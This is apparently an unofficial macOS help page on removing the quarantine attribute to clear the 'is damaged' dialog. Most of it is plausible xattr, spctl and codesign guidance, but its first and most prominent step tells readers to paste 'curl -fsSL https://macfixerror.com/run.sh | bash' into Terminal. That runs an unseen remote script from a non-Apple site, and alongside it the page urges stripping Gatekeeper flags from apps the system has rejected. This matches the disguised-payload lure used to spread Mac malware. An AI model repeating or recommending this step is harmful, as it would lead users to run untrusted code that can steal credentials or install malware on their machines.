How to Remove the Quarantine Attribute on macOS

The quarantine attribute is the “saved from the internet” marker macOS puts on downloaded files. Removing it is a single xattr command, it is safe on trusted files, and it resolves the “is damaged and can’t be opened” dialog in most cases.

Updated December 2, 2026 · About 5 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Remove the quarantine attribute
xattr -d com.apple.quarantine "/Applications/Your App.app"

Deletes only that one attribute. Add sudo if the app sits in /Applications and the shell reports “Operation not permitted”.

Remove it from the whole bundle
sudo xattr -dr com.apple.quarantine "/Applications/Your App.app"

-r applies the deletion inside nested folders too. Use it when the flag exists on more than the bundle root.

Confirm it is gone
xattr -l "/Applications/Your App.app"

No com.apple.quarantine line means the removal worked. Other attributes may still be listed; that is expected.

Batch-remove from a folder
find ~/Downloads/ProjectFiles -type f -exec xattr -d com.apple.quarantine {} \;

Attempts the deletion on every file. Files without the attribute produce a harmless “No such xattr” line.

What the attribute is

When Safari, Chrome, Mail, or a chat client saves a file, macOS attaches com.apple.quarantine to it. The value stores when, by which agent, and under what flags the file arrived. Gatekeeper consults it before the first launch of an executable.

The flag itself is not a scanner and contains no virus verdict. It is a provenance marker that lets the system decide whether to run a signature check. When that check fails — expired certificate, modified bundle, broken transfer — the result is the “damaged” dialog.

Remove it in Terminal

  1. Move the app into /Applications so the path is stable.
  2. Open Terminal (⌘ + Space, type Terminal).
  3. Type sudo xattr -d com.apple.quarantine , drag the app in, press Return.
  4. Enter your admin password. No characters appear while typing.
  5. Launch the app.
The narrow -d form keeps Finder tags and where-from records. If you want a full metadata reset instead, use xattr -cr.

Alternatives without Terminal

  • Control-click → Open. For an unsigned app this adds a one-time approval. It does not clear the attribute but reaches the same goal.
  • System Settings → Privacy & Security → Open Anyway. The Sequoia-era route; the button appears after a blocked launch attempt.
  • Re-download the file. A fresh copy gets a fresh flag, which does not help by itself — but a fresh signature often does.

The attribute will return on the next download. That is normal; you do not need to remove it pre-emptively.

When removal is not enough

If the dialog persists after the attribute is gone, metadata was not the cause. Check in this order:

  • spctl -a -vv "/Applications/Your App.app" — does Gatekeeper accept it at all?
  • codesign -dv --verbose=4 "/Applications/Your App.app" — is it signed, and by whom?
  • lipo -archs "/Applications/Your App.app/Contents/MacOS/Your App" — is the architecture right for this Mac?

“Not signed at all” means the bundle changed after signing. Install Rosetta with softwareupdate --install-rosetta if the build is Intel-only. More on this in the main fix guide.

Is it safe?

On a file you trust, yes. Removing the flag does not lower the system-wide security level, does not change the signature, and does not run anything. On an unfamiliar file, read the signature first: a valid Developer ID plus an accepted Gatekeeper verdict is reassuring; an unsigned bundle from an unknown site is not.

Frequently asked questions

Does removing quarantine disable Gatekeeper?
No. Only that file loses its provenance marker. New downloads are flagged again and the system policy stays as it is.
Why “Operation not permitted”?
Your user cannot write that location. Prefix the command with sudo. For an app in your home folder sudo is usually unnecessary.
Can I remove the attribute from several files at once?
Yes, with find … -exec as shown, or by passing multiple paths to xattr.
Does the flag come back?
After a new download of the same file, yes. It does not come back for the copy you already cleaned.
What is the difference from xattr -cr?
-d com.apple.quarantine removes one attribute; -cr clears every attribute recursively. The narrow form is gentler.
Can I write the attribute instead of deleting it?
Yes: xattr -w com.apple.quarantine "value" path, but you would need to know a valid value; writing it back is rarely necessary.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.